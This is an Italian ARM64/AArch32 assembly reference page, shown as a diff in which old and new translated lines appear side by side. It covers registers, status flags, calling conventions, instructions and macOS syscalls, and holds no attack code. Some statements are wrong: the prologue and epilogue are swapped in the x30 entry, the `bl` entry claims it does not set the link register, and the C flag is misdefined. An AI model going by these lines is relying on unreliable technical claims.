1. **`x0`** a **`x7`** - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri alle subroutine.
|
||||
|
||||
* **`x0`** contiene anche i dati di ritorno di una funzione.
|
||||
|
||||
2. **`x8`** - Nel kernel Linux, `x8` è utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS è il x16 che viene utilizzato!**
|
||||
2. **`x8`** - Nel kernel Linux, `x8` è utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS è usato il x16!**
|
||||
3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali.
|
||||
4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Vengono anche utilizzati per chiamate a funzioni indirette e stub PLT (Procedure Linkage Table).
|
||||
|
||||
4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Sono anche utilizzati per chiamate a funzioni indirette e per gli stub PLT (Procedure Linkage Table).
|
||||
* **`x16`** è utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**.
|
||||
|
||||
5. **`x18`** - **Registro di Piattaforma**. Può essere utilizzato come registro a scopo generale, ma su alcune piattaforme questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco dell'ambiente del thread corrente in Windows, o per puntare alla struttura del compito attualmente **in esecuzione nel kernel Linux**.
|
||||
5. **`x18`** - **Registro di Piattaforma**. Può essere utilizzato come registro a scopo generale, ma su alcune piattaforme questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco dell'ambiente del thread corrente in Windows, o per puntare alla struttura del task attualmente **in esecuzione nel kernel Linux**.
|
||||
6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamante. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono memorizzati nello stack e ripristinati prima di tornare al chiamante.
|
||||
7. **`x29`** - **Puntatore al Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack perché viene chiamata una funzione, il registro **`x29`** viene **memorizzato nello stack** e l'indirizzo del **nuovo** puntatore al frame (indirizzo **`sp`**) viene **memorizzato in questo registro**.
|
||||
|
||||
7. **`x29`** - **Puntatore al Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack perché viene chiamata una funzione, il registro **`x29`** viene **memorizzato nello stack** e l'indirizzo del **nuovo** frame pointer (indirizzo **`sp`**) viene **memorizzato in questo registro**.
|
||||
* Questo registro può anche essere utilizzato come **registro a scopo generale** anche se di solito viene utilizzato come riferimento per le **variabili locali**.
|
||||
|
||||
8. **`x30`** o **`lr`**- **Registro di Link**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore di **`pc`** in questo registro.
|
||||
|
||||
8. **`x30`** o **`lr`** - **Registro di Link**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore di **`pc`** in questo registro.
|
||||
* Può essere utilizzato come qualsiasi altro registro.
|
||||
* Se la funzione corrente sta per chiamare una nuova funzione e quindi sovrascrivere `lr`, lo memorizzerà nello stack all'inizio, questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Memorizza `fp` e `lr`, genera spazio e ottieni nuovo `fp`) e lo recupererà alla fine, questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recupera `fp` e `lr` e ritorna).
|
||||
|
||||
9. **`sp`** - **Puntatore dello Stack**, utilizzato per tenere traccia della cima dello stack.
|
||||
|
||||
* il valore di **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento di quadword** o potrebbe verificarsi un'eccezione di allineamento.
|
||||
|
||||
10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezioni, ritorni di eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di branch con link (BL, BLR) per memorizzare l'indirizzo **`pc`** in **`lr`** (Registro di Link).
|
||||
* il valore di **`sp`** dovrebbe sempre essere mantenuto almeno a un **allineamento di quadre parole** o potrebbe verificarsi un'eccezione di allineamento.
|
||||
10. **`pc`** - **Contatore di Programma**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo attraverso generazioni di eccezioni, ritorni di eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni di branch con link (BL, BLR) per memorizzare l'indirizzo di **`pc`** in **`lr`** (Registro di Link).
|
||||
11. **`xzr`** - **Registro Zero**. Chiamato anche **`wzr`** nella sua forma a registro **32**-bit. Può essere utilizzato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** memorizzando i dati risultanti da nessuna parte (in **`xzr`**).
|
||||
|
||||
I registri **`Wn`** sono la versione a **32 bit** del registro **`Xn`**.
|
||||
|
|
@ -77,7 +60,6 @@ I registri **`Wn`** sono la versione a **32 bit** del registro **`Xn`**.
|
|||
### Registri SIMD e in Virgola Mobile
|
||||
|
||||
Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di singola istruzione su dati multipli (SIMD) e per eseguire operazioni aritmetiche in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in **64**-bit, **32**-bit, **16**-bit e **8**-bit e quindi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
|
||||
|
||||
### Registri di sistema
|
||||
|
||||
**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPR), utilizzati per **monitorare** e **controllare** il **comportamento dei processori**.\
|
||||
|
|
@ -86,24 +68,24 @@ Possono essere letti o impostati solo utilizzando le istruzioni speciali dedicat
|
|||
I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** sono comunemente trovati durante l'ingegneria inversa. Il suffisso `EL0` indica la **minima eccezione** dalla quale il registro può essere accessibile (in questo caso EL0 è il livello di eccezione (privilegio) regolare con cui i programmi regolari vengono eseguiti).\
|
||||
Sono spesso utilizzati per memorizzare l'**indirizzo di base della regione di memoria dello storage locale del thread**. Di solito il primo è leggibile e scrivibile per i programmi in esecuzione in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Leggi TPIDR_EL0 in x0`
|
||||
* `msr TPIDR_EL0, X0 ; Scrivi x0 in TPIDR_EL0`
|
||||
* `mrs x0, TPIDR_EL0 ; Legge TPIDR_EL0 in x0`
|
||||
* `msr TPIDR_EL0, X0 ; Scrive x0 in TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale **`SPSR_ELx`**, essendo X il **livello di permesso dell'eccezione** scatenata (ciò consente di ripristinare lo stato del processo quando l'eccezione termina).\
|
||||
**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale **`SPSR_ELx`**, essendo X il **livello di permesso dell'eccezione scatenata** (questo consente di ripristinare lo stato del processo quando l'eccezione termina).\
|
||||
Questi sono i campi accessibili:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**:
|
||||
* **`N`** significa che l'operazione ha prodotto un risultato negativo
|
||||
* **`Z`** significa che l'operazione ha prodotto zero
|
||||
* **`C`** significa che l'operazione è stata eseguita
|
||||
* **`V`** significa che l'operazione ha prodotto un overflow con segno:
|
||||
* **`N`** indica che l'operazione ha prodotto un risultato negativo
|
||||
* **`Z`** indica che l'operazione ha prodotto zero
|
||||
* **`C`** indica che l'operazione è stata eseguita
|
||||
* **`V`** indica che l'operazione ha prodotto un overflow con segno:
|
||||
* La somma di due numeri positivi produce un risultato negativo.
|
||||
* La somma di due numeri negativi produce un risultato positivo.
|
||||
* Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione dei bit dati.
|
||||
* Nella sottrazione, quando un numero negativo grande viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato nell'intervallo della dimensione dei bit dati.
|
||||
* Ovviamente il processore non sa se l'operazione è con segno o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un trasporto nel caso fosse con segno o senza.
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
|
@ -112,17 +94,17 @@ Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`*
|
|||
|
||||
* Il flag attuale della **larghezza del registro (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
|
||||
* Il **livello di eccezione corrente** (**`EL`**): Un programma regolare in esecuzione in EL0 avrà il valore 0
|
||||
* Il flag di **singolo passaggio** (**`SS`**): Usato dai debugger per eseguire un passo alla volta impostando il flag SS su 1 all'interno di **`SPSR_ELx`** tramite un'eccezione. Il programma eseguirà un passo e emetterà un'eccezione di passo singolo.
|
||||
* Il flag di **singolo passaggio** (**`SS`**): Usato dai debugger per passare singolarmente impostando il flag SS a 1 all'interno di **`SPSR_ELx`** attraverso un'eccezione. Il programma eseguirà un passaggio e emetterà un'eccezione di passaggio singolo.
|
||||
* Il flag di stato di eccezione **illegale** (**`IL`**): Viene utilizzato per segnalare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag viene impostato su 1 e il processore scatena un'eccezione di stato illegale.
|
||||
* I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente determinate eccezioni esterne.
|
||||
* Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQs). e F è relativo alle **Richieste di Interruzione Rapida** (FIRs).
|
||||
* I flag di selezione dello stack pointer (**`SPS`**): I programmi privilegiati in esecuzione in EL1 e superiori possono passare dall'utilizzare il proprio registro dello stack pointer a quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
|
||||
* I flag di selezione del **puntatore dello stack (`SPS`)**: I programmi privilegiati in esecuzione in EL1 e superiori possono passare dall'utilizzare il proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
|
||||
|
||||
## **Convenzione di chiamata (ARM64v8)**
|
||||
|
||||
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** di una funzione vengono passati nei registri **`x0` attraverso `x7`**. I **parametri aggiuntivi** vengono passati nello **stack**. Il valore di **ritorno** viene restituito nel registro **`x0`**, o anche in **`x1`** se è lungo 128 bit. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** durante le chiamate alle funzioni.
|
||||
La convenzione di chiamata ARM64 specifica che i **primi otto parametri** di una funzione vengono passati nei registri **`x0` attraverso `x7`**. **Parametri aggiuntivi** vengono passati nello **stack**. Il valore di **ritorno** viene restituito nel registro **`x0`**, o anche in **`x1`** se è lungo 128 bit. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** attraverso le chiamate di funzione.
|
||||
|
||||
Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo** della funzione. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, la **configurazione** di un **nuovo frame pointer**, e l'**allocazione dello spazio dello stack**. L'**epilogo** di solito coinvolge il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione.
|
||||
Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo** della funzione. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, **impostare** un **nuovo frame pointer**, e **allocare spazio nello stack**. L'**epilogo** di solito coinvolge il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione.
|
||||
|
||||
### Convenzione di chiamata in Swift
|
||||
|
||||
|
|
@ -136,9 +118,9 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
|||
* Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`.
|
||||
* **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**.
|
||||
* Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`.
|
||||
* **Modalità di offset**: Viene indicato un offset che influisce sul puntatore di origine, ad esempio:
|
||||
* **Modalità di offset**: Un offset che influisce sul puntatore di origine è indicato, ad esempio:
|
||||
* `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4
|
||||
* **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
|
||||
* `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Memorizza il registro di link in sp e aggiorna il registro sp
|
||||
|
|
@ -154,11 +136,11 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
|||
* Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp` e `sp + 8`, rispettivamente.
|
||||
* `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`.
|
||||
* **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro.
|
||||
* Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
|
||||
* Xn1 -> Destinazione
|
||||
* Xn2 -> Operando 1
|
||||
* Xn3 | #imm -> Operando 2 (registro o immediato)
|
||||
* \[shift #N | RRX] -> Esegue uno shift o chiama RRX
|
||||
* \[shift #N | RRX\] -> Esegue uno shift o chiama RRX
|
||||
* Esempio: `add x0, x1, x2` — Questo somma i valori in `x1` e `x2` insieme e memorizza il risultato in `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shiftato 12 volte) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Questo esegue un `add` e aggiorna i flag
|
||||
|
|
@ -206,12 +188,12 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
|||
* Esempio: `tst X1, #7` Controlla se uno qualsiasi degli ultimi 3 bit di X1 è 1
|
||||
* **`teq`**: Operazione XOR scartando il risultato
|
||||
* **`b`**: Salto incondizionato
|
||||
* Esempio: `b myFunction`
|
||||
* Esempio: `b myFunction` 
|
||||
* Nota che questo non riempirà il registro di collegamento con l'indirizzo di ritorno (non adatto per le chiamate a subroutine che devono tornare indietro)
|
||||
* **`bl`**: **Salto** con collegamento, usato per **chiamare** una **sottoroutine**. Memorizza l'**indirizzo di ritorno in `x30`**.
|
||||
* Esempio: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`.
|
||||
* Nota che questo non riempirà il registro di collegamento con l'indirizzo di ritorno (non adatto per le chiamate a subroutine che devono tornare indietro)
|
||||
* **`blr`**: **Salto** con collegamento al registro, usato per **chiamare** una **sottoroutine** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. (Questo è
|
||||
* **`blr`**: **Salto** con collegamento al registro, usato per **chiamare** una **sottoroutine** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. (Questo è 
|
||||
* Esempio: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`.
|
||||
* **`ret`**: **Ritorna** dalla **sottoroutine**, tipicamente utilizzando l'indirizzo in **`x30`**.
|
||||
* Esempio: `ret` — Questo ritorna dalla sottoroutine corrente utilizzando l'indirizzo di ritorno in `x30`.
|
||||
|
|
@ -228,7 +210,7 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
|||
* Esempio: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Testa il bit e salta se zero
|
||||
* Esempio: `tbz x0, #8, label`
|
||||
* **Operazioni di selezione condizionale**: Sono operazioni il cui comportamento varia a seconda dei bit condizionali.
|
||||
* **Operazioni di selezione condizionale**: Queste sono operazioni il cui comportamento varia a seconda dei bit condizionali.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn
|
||||
|
|
@ -241,11 +223,11 @@ Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**,
|
|||
* **`adrp`**: Calcola l'**indirizzo di pagina di un simbolo** e lo memorizza in un registro.
|
||||
* Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo di pagina di `symbol` e lo memorizza in `x0`.
|
||||
* **`ldrsw`**: **Carica** un valore firmato **di 32 bit** dalla memoria e **estende il segno a 64** bit.
|
||||
* Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato di 32 bit dalla posizione di memoria puntata da `x1`, lo estende a 64 bit e lo memorizza in `x0`.
|
||||
* Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato di 32 bit dalla posizione di memoria puntata da `x1`, estende il segno a 64 bit e lo memorizza in `x0`.
|
||||
* **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro.
|
||||
* Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore rispetto all'indirizzo attualmente in `x1`.
|
||||
* **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del **kernel**.
|
||||
* Esempio:
|
||||
* **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle **chiamate di sistema del kernel**.
|
||||
* Esempio:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Carica il numero di chiamata di sistema per l'uscita (93) nel registro x8.
|
||||
|
|
@ -269,7 +251,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
|||
### **Epilogo della Funzione**
|
||||
|
||||
1. **Dealloca le variabili locali (se ne sono state allocate)**: `add sp, sp, <size>`
|
||||
2. **Ripristina il registro del link e il frame pointer**:
|
||||
2. **Ripristina il link register e il frame pointer**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
|
@ -282,14 +264,13 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
## Stato di esecuzione AARCH32
|
||||
|
||||
Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\
|
||||
I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit a livello di privilegio inferiore.\
|
||||
I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit a livello inferiore privilegiato.\
|
||||
Si noti che la transizione da 64 bit a 32 bit avviene con un abbassamento del livello di eccezione (ad esempio un programma a 64 bit in EL1 che attiva un programma in EL0). Ciò viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread del processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza i programmi **`AArch32`** CPSR. Quindi, il processo privilegiato chiama l'istruzione **`ERET`** in modo che il processore passi a **`AArch32`** entrando in A32 o T32 a seconda di CPSR\*\*.\*\*
|
||||
|
||||
L'**`interworking`** avviene utilizzando i bit J e T di CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\
|
||||
Questo viene impostato durante le **istruzioni di branch interworking**, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:
|
||||
|
||||
Un altro esempio:
|
||||
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
|
@ -300,51 +281,50 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
|
||||
### Registri
|
||||
|
||||
Ci sono 16 registri da 32 bit (r0-r15). Da r0 a r14 possono essere utilizzati per qualsiasi operazione, tuttavia alcuni di essi sono di solito riservati:
|
||||
|
||||
* `r15`: Contatore di programma (sempre). Contiene l'indirizzo dell'istruzione successiva. In A32 corrente + 8, in T32, corrente + 4.
|
||||
* `r11`: Frame Pointer
|
||||
* `r12`: Registro di chiamata intra-procedurale
|
||||
* `r13`: Stack Pointer
|
||||
* `r14`: Link Register
|
||||
- `r15`: Contatore di programma (sempre). Contiene l'indirizzo dell'istruzione successiva. In A32 corrente + 8, in T32, corrente + 4.
|
||||
- `r11`: Puntatore di frame
|
||||
- `r12`: Registro di chiamata intra-procedurale
|
||||
- `r13`: Puntatore dello stack
|
||||
- `r14`: Registro di collegamento
|
||||
|
||||
Inoltre, i registri sono salvati nei `registri bancati`. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire **cambiamenti di contesto veloci** nella gestione delle eccezioni e delle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.\
|
||||
Questo avviene salvando lo stato del processore dal `CPSR` al `SPSR` della modalità del processore a cui viene gestita l'eccezione. Al ritorno dall'eccezione, il `CPSR` viene ripristinato dal `SPSR`.
|
||||
Questo avviene salvando lo stato del processore dal `CPSR` al `SPSR` della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il `CPSR` viene ripristinato dal `SPSR`.
|
||||
|
||||
### CPSR - Current Program Status Register
|
||||
### CPSR - Registro di stato del programma corrente
|
||||
|
||||
In AArch32 il CPSR funziona in modo simile a `PSTATE` in AArch64 ed è anche memorizzato in `SPSR_ELx` quando viene gestita un'eccezione per ripristinare in seguito l'esecuzione:
|
||||
In AArch32 il CPSR funziona in modo simile a `PSTATE` in AArch64 ed è anche memorizzato in `SPSR_ELx` quando viene presa un'eccezione per ripristinare in seguito l'esecuzione:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I campi sono divisi in alcuni gruppi:
|
||||
|
||||
* Application Program Status Register (APSR): Flag aritmetici e accessibili da EL0
|
||||
* Execution State Registers: Comportamento del processo (gestito dal sistema operativo).
|
||||
- Registro di stato del programma dell'applicazione (APSR): Flag aritmetici e accessibili da EL0
|
||||
- Registri dello stato di esecuzione: Comportamento del processo (gestito dal sistema operativo).
|
||||
|
||||
#### Application Program Status Register (APSR)
|
||||
#### Registro di stato del programma dell'applicazione (APSR)
|
||||
|
||||
* I flag `N`, `Z`, `C`, `V` (come in AArch64)
|
||||
* Il flag `Q`: Viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica di saturazione specializzata. Una volta impostato a 1, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non c'è alcuna istruzione che controlla il suo valore implicitamente, deve essere fatto leggendolo manualmente.
|
||||
* Flag `GE` (Greater than or equal): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "addizione parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
|
||||
- I flag `N`, `Z`, `C`, `V` (come in AArch64)
|
||||
- Il flag `Q`: Viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica di saturazione specializzata. Una volta impostato a 1, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non c'è alcuna istruzione che ne controlla il valore implicitamente, deve essere fatto leggendolo manualmente.
|
||||
- Flag `GE` (Maggiore o uguale): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "addizione parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
|
||||
|
||||
Ad esempio, l'istruzione `UADD8` **aggiunge quattro coppie di byte** (da due operandi da 32 bit) in parallelo e memorizza i risultati in un registro da 32 bit. Quindi **imposta i flag `GE` nell'`APSR`** in base a questi risultati. Ogni flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte ha **overflowed**.
|
||||
Ad esempio, l'istruzione `UADD8` **aggiunge quattro coppie di byte** (da due operandi da 32 bit) in parallelo e memorizza i risultati in un registro da 32 bit. Quindi **imposta i flag `GE` nell'`APSR`** in base a questi risultati. Ogni flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte ha **overflow**.
|
||||
|
||||
L'istruzione `SEL` utilizza questi flag GE per eseguire azioni condizionali.
|
||||
|
||||
#### Execution State Registers
|
||||
#### Registri dello stato di esecuzione
|
||||
|
||||
* I bit `J` e `T`: `J` dovrebbe essere 0 e se `T` è 0 viene utilizzato il set di istruzioni A32, e se è 1 viene utilizzato il set di istruzioni T32.
|
||||
* IT Block State Register (`ITSTATE`): Questi sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso `IT`.
|
||||
* Bit `E`: Indica la **endianness**.
|
||||
* Bit di modalità e maschera di eccezione (0-4): Determinano lo stato di esecuzione corrente. Il quinto indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (un 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso in cui venga scatenata un'altra eccezione mentre questa viene gestita.
|
||||
- I bit `J` e `T`: `J` dovrebbe essere 0 e se `T` è 0 viene utilizzato il set di istruzioni A32, e se è 1 viene utilizzato il T32.
|
||||
- Registro di stato del blocco IT (`ITSTATE`): Sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso `IT`.
|
||||
- Bit `E`: Indica la **endianness**.
|
||||
- Bit di modalità e maschere di eccezione (0-4): Determinano lo stato di esecuzione corrente. Il quinto indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (un 0). Gli altri 4 rappresentano la modalità di eccezione attualmente in uso (quando si verifica un'eccezione e viene gestita). Il numero impostato indica la priorità corrente nel caso in cui venga scatenata un'altra eccezione mentre questa viene gestita.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* `AIF`: Alcune eccezioni possono essere disabilitate utilizzando i bit `A`, `I`, `F`. Se `A` è 1 significa che verranno scatenati **aborti asincroni**. `I` configura la risposta alle **Richieste di Interruzione Esterna** (IRQs). e F è relativo alle **Richieste di Interruzione Rapida** (FIRs).
|
||||
- `AIF`: Alcune eccezioni possono essere disabilitate utilizzando i bit `A`, `I`, `F`. Se `A` è 1 significa che verranno attivate **aborti asincroni**. Il `I` configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQ). e il F è relativo alle **Richieste di Interruzione Rapida** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
|
|
@ -354,11 +334,9 @@ Controlla [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504
|
|||
|
||||
### Trappole Mach
|
||||
|
||||
Controlla in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) la `mach_trap_table` e in [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) i prototipi. Il numero massimo di trappole Mach è `MACH_TRAP_TABLE_COUNT` = 128. Le trappole Mach avranno **x16 < 0**, quindi è necessario chiamare i numeri dalla lista precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**.
|
||||
Controlla in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` e in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) i prototipi. Il numero massimo di trappole Mach è `MACH_TRAP_TABLE_COUNT` = 128. Le trappole Mach avranno **x16 < 0**, quindi è necessario chiamare i numeri dalla lista precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**.
|
||||
|
||||
Puoi anche controllare **`libsystem_kernel.dylib`** in un disassemblatore per capire come chiamare queste chiamate di sistema (e BSD):
|
||||
|
||||
